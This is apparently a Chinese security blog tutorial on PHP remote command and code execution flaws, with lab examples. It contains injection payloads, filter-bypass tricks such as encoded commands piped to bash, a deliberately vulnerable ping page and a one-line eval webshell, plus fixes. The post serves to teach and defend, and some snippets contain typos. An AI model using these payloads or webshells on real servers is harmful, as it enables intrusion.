首页 > 其他分享 >RCE命令执行&代码执行漏洞

RCE命令执行&代码执行漏洞

时间:2024-02-27 17:59:33浏览次数:25  
标签:echo 函数 漏洞 cat 命令 代码执行 RCE 执行

RCE命令执行&代码执行漏洞

RCE命令执行漏洞

RCE漏洞简介

RCE(remote code/command execute) 远程代码/命令执行漏洞

RCE漏洞是两个漏洞:

  • 代码执行漏洞 # 针对后端语言!

  • 命令执行漏洞 # 针对系统!

如何产生

在 Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,从而随意执行系统命令,这就是命令执行漏洞,它属于高危漏洞之一。

在操作系统中,“&、|、||”等都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,从而造成漏洞。

漏洞挖掘

黑盒测试:测试网站特殊功能点,比如ping等(推荐)

白盒测试:通过代码审计,审计应用中存在的危险函数是否进行了严格过滤

常见函数

# 函数汇总
PHP中命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
passthru()

把字符串当做系统命令运行

<?php passthru('whoami');?>

system()

把字符串当做系统命令运行

<?php system('whoami');?>

exec()

把字符串当做系统命令运行

<?php echo exec('whoami');?>

Windows下的命令执行漏洞利用

命令连接符

常用命令
cmd1 & cmd2		//命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
cmd1 && cmd2	//前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行
cmd1 | cmd2		//前面命令正确,直接执行后面的语句;前面的语句为假,则直接出错,后面的也不执行
cmd1 || cmd2 	//前面出错,执行后面的;前面为真,只执行前面的

讲解

靶场

Windows命令执行漏洞,顾名思义,就是在Windows环境下存在的命令执行漏洞,通过相关的漏洞验证方法确认了存在命令执行漏洞后,我们可以使用Windows环境下的一些命令去对漏洞进行利用。

http://127.0.0.1/rce/win_cmd_ip.php?ip=localhost

<?php
echo '<pre>';
$ip = $_GET['ip'];
system("ping ".$ip);
?>

代码中调用了system函数执行ping命令,正常输入?ip=localhost,会返回ping localhost的结果:

image-20230801150250395

$ip是可控参数,可以通过Windows下的命令连接符执行多条命令,达到攻击的目的。输入?ip=localhost|whoami成功执行,返回当前用户的信息,如下图所示。当然也可以执行net user等其他关于用户账户管理的敏感操作。

image-20230801150408496

Linux下的命令执行漏洞利用

命令连接符

常用命令
cmd1 ; cmd2		//使多个命令顺序执行,前面命令和后面命令的都会执行。
cmd1 & cmd2		//命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
cmd1 && cmd2	//前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行
cmd1 | cmd2		//将第一个命令的输出作为第二个命令的输入,前面跟后面的都会执行,不论报错都显示后面的执行结果
cmd1 || cmd2 	//前面的命令执行成功后面的命令不会执行,前面的命令执行失败后面的命令会执行

讲解

靶场

命令执行绕过(以服务器为Linux为例)

1、空格过滤

①针对web传参【%09、%20】

①针对经过web传送的参数,将空格替换成%09 (tab键)%20(空格)等url编码。

②针对数据包【$IFS$1-9、<>、${IFS}】

②针对数据包,将空格替换成 $IFS$1-9 ,shell脚本中的编码。

➢ ip$IFS$9addr

➢ cat$IFS$9hello.txt

image-20230801154843178

③针对数据包,cat命令可以将中间的空格换成<>或者${IFS}

➢ cat< ;>hello.txt

image-20230801154856083

➢ cat${IFS}hello.txt

image-20230801154903060

2、关键字过滤(编码绕过)

①base64编码

Ⅰ原理解释(linux base64系统自带)

➢ echo "abcd" | base64(命令行进行base64加密)

image-20230801155012974

➢ echo "YWJjzAo=" | base64 -d(命令行对base64解密)

image-20230801155033245

Ⅱ实现输入的命令中没有ls但执行ls的功能

➢ echo "ls" | base64

image-20230801155059111

➢ echo "bHMK" | base64 -d | bash

➢ echo "bHMK" | base64 -d | sh(将命令经过base64解码后的命令ls进行执行)

image-20230801155109418

Ⅲ实现输入的命令中没有cat但执行cat的功能(下面的ls要换成cat)

image-20230801155118159

②hex编码(需要有装xxd命令)

-r 解码

-p 省略0x

➢ echo "abcd" | xxd(命令行进行hex编码)

➢ echo "616263640a" | xxd -r -p(命令行进行hex解码)

image-20230801155139241

➢ echo "ls" | xxd

➢ echo "6c730a" xxd -r -p | bash(执行ls命令)

➢ echo "6c730a" xxd -r -p | sh(执行ls命令)

image-20230801155147764

如果目标服务器没有xxd命令,可以考虑下列语句:

$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67"}|sh

image-20230801173319147

3、偶读拼接(过滤某个单词)

原理:利用变量将最后的字符拼接起来

当前目录有个hello.txt 的文件,可以使用”a=hel;b=lo;cat $a$b.txt“进行读取。

image-20230801155418658

image-20230801155413028

同理执行—条命令可以使用a=l;b=s;$a$b进行执行。

image-20230801155431727

4、%0a绕过

%0a代表换行,通过%0a注入一条新的命令

有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令。%0a表示换行,通过%0a能够注入—条新的命令进行执行。

5、花括号{}

linux中,可以使用执行系统命令,同时可以使用逗号代替空格。

针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号。

image-20230801155446062

image-20230801155451606

6、内联执行

``反引号里面的系统命令会限制令,成功执行后会将结果传递给调用它的命令。`

➢ echo "a 'pwd" //先执行pwd命令,后将结果拼接回echo命令。

image-20230801155521371

7、引号执行(绕过)

cat fl''ag

cat fl''a""g

➢ cat he""Il"o.txt //命令正常执行

image-20230801155525384

image-20230801155530807

8、通配符执行

shell命令中?和*可以用来(在当前路径下)匹配任意字符:

?代表一个未知字符

*代表n个未知字符

➢ cat hel* //查看当前目录下所有以he开头的文件

image-20230801155742406

➢ cat hello.??? //利用?匹配txt

image-20230801155736891

?匹配任意—个字符。

*匹配多个字符。

与正则表达式的区别,正则中,?匹配前面的字符或表达式一次或零次,*匹配前面的字符或表达式多次或零次。

下图是缺少一个问号-->报错

image-20230801155729400

9、反斜杠执行(转义)

➢ c/at hello.txt //命令正常执行

image-20230801155556703

10、方括号

➢ cat hel[l]o.txt //命令正常执行,但是不可加到命令关键字里面。

image-20230801155620454

➢ ca[t] hel[l]o.txt //报错

image-20230801155624709

命令执行漏洞修复

一、PHP配置文件禁用敏感函数

通过php配置文件中的disable_functions禁用敏感函数。

二、使用相关过滤函数处理相关参数

1、escapeshellarg函数

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,过滤命令中的参数。

2、escapeshellarg函数

escapeshellcmd — shell 元字符转义,过滤命令。

RCE代码执行漏洞

RCE漏洞介绍

有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将该函数中的参数当作PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码。

常见函数

# 函数汇总
PHP中代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、 call_user_func_array()、array_filter()、uasort()
eval()函数

eval函数把字符串作为PHP代码执行。一般用于写入一句话木马。如:

<?php @eval($_POST['pwd']);?>

HackBar: 
http://127.0.0.1/rce/test.php
pwd = echo "Hello World!";
pwd = phpinfo();
assert函数

assert函数检查一个断言是否为FALSE。

assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串,它会被assert函数当作PHP代码来执行。如:

<?php @assert($_POST[1])?>
    
HackBar:
1 = phpinfo();
preg_replace函数

preg_replace函数执行一个正则表达式的搜索和替换。

preg_replace函数搜索subject中匹配pattern的部分,以replacement进行替换。

preg_replace函数示例代码如下:

<?php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>
    
GET:
?name = xxx

PHP可变函数

<?php
function foo(){
echo "foo";
}
function bar($arg='')(
echo "bar";
}
function echoit($string)
echo $string;
}
$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);
?>
    
http://localhost:63342/WWW/rce/php可变函数.php?func=echoit&string=test
http://localhost:63342/WWW/rce/php可变函数.php?func=system&string=whoami

靶场实操

待补充

标签:echo,函数,漏洞,cat,命令,代码执行,RCE,执行
From: https://www.cnblogs.com/carmi/p/18037393

相关文章

  • Codeforces 286E Ladies' Shop
    考虑\(p_i\)满足什么不会被选。令当前选出来的\(p_j\)的集合为\(S\)。能发现当用\(S\)中的数能够凑(可多选,可选重)出\(p_i\)时\(p_i\)就不会被选。考虑凑出\(p_i\)的最后一步所用的\(2\)个数\(x+y=p_i\)。因为这\(2\)个数一定能被\(S\)中的数凑出且题目......
  • Codeforces Round 909 (Div
    CodeforcesRound909(Div.3)A.GamewithIntegers显然就是还要不是三的倍数就能赢!intn; cin>>n; intk; while(n--) { cin>>k; if(k%3==0){ cout<<"Second"<<endl; }else{ cout<<"First"<<endl; } }B......
  • Codeforces Round 905 (Div
    CodeforcesRound905(Div.3)A.Morning此题将其看为光标一直移动,其中移动次数就是坐标之差的绝对值,0看做10,由于其显示也需一次操作,所以加上四。#include<bits/stdc++.h>usingnamespacestd;intmain(){ intt; cin>>t; while(t--) { intarr[4],count=0; ......
  • Codeforces Round 900 (Div
    CodeforcesRound900(Div.3)A.HowMuchDoesDaytonaCost?这个题简单,在子段上最常见的元素其实只要这个元素出现就行intt; cin>>t; intn,k; while(t--) { cin>>n>>k; intarr[n]; intout=0; for(inti=0;i<n;i++) { cin>>arr[i]; } for(......
  • Codeforces Round 888 (Div
    CodeforcesRound888(Div.3)A.EscalatorConversations推导即可,判断条件就是abs(h[i]-H)%k==0&&abs(h[i]-H)/k<m&&h[i]!=H,先要整除再能相隔abs(h[i]-H)/k个台阶谁高谁矮任意不影响,但是最后这个我就没注意到h[i]!=H小卡一会。#include<bits/stdc++.h>usingnamespacestd;......
  • Salesforce职业规划抢先看:原厂,甲方,乙方,从业者应该如何选择?
    Salesforce生态系统蓬勃发展,对不同角色的需求量不断增加。需求方包括使用Salesforce的最终用户(甲方)、实施Salesforce的咨询公司、为Salesforce创建应用程序的AppExchange公司(或ISV),当然还有Salesforce原厂。Salesforce最终用户(甲方)2020年,Salesforce的客户数量就超过了150,000名,......
  • Codeforces 1906L Palindromic Parentheses
    考虑先判定有无解对应的\(k\)的范围。首先若\(k=n\)一定无解,因为字符串开头是\(\texttt{(}\)结尾是\(\texttt{)}\)匹配不上。下界因为各有\(\frac{n}{2}\)个\(\texttt{()}\),所以可以先猜测下界就为\(\frac{n}{2}\)。考虑构造到这个下界。能发现只需要形如\(\te......
  • @Resource和@Autowired
    Spring内置的 @Autowired 以及JDK内置的 @Resource 和 @Inject 都可以用于注入Bean。AnnotaionPackageSource@Autowiredorg.springframework.bean.factorySpring2.5+@Resourcejavax.annotationJavaJSR-250@Injectjavax.injectJavaJSR-330......
  • struts2-66漏洞复现
    Strut2-66漏洞从搭建到复现到原理0x0创建JavaEE环境使用idea创建JavaEE项目,添加Strut2的依赖点击右上角创建新项目下一步,依赖项只选择一个Servlet就行了,版本JavaEE8然后完成打开即可,为了方便把根目录调整一下点击右上角的tomcat编辑配置默认的话是这样的如果警告没有......
  • Go 100 mistakes - #79: Not closing transient resources
        ......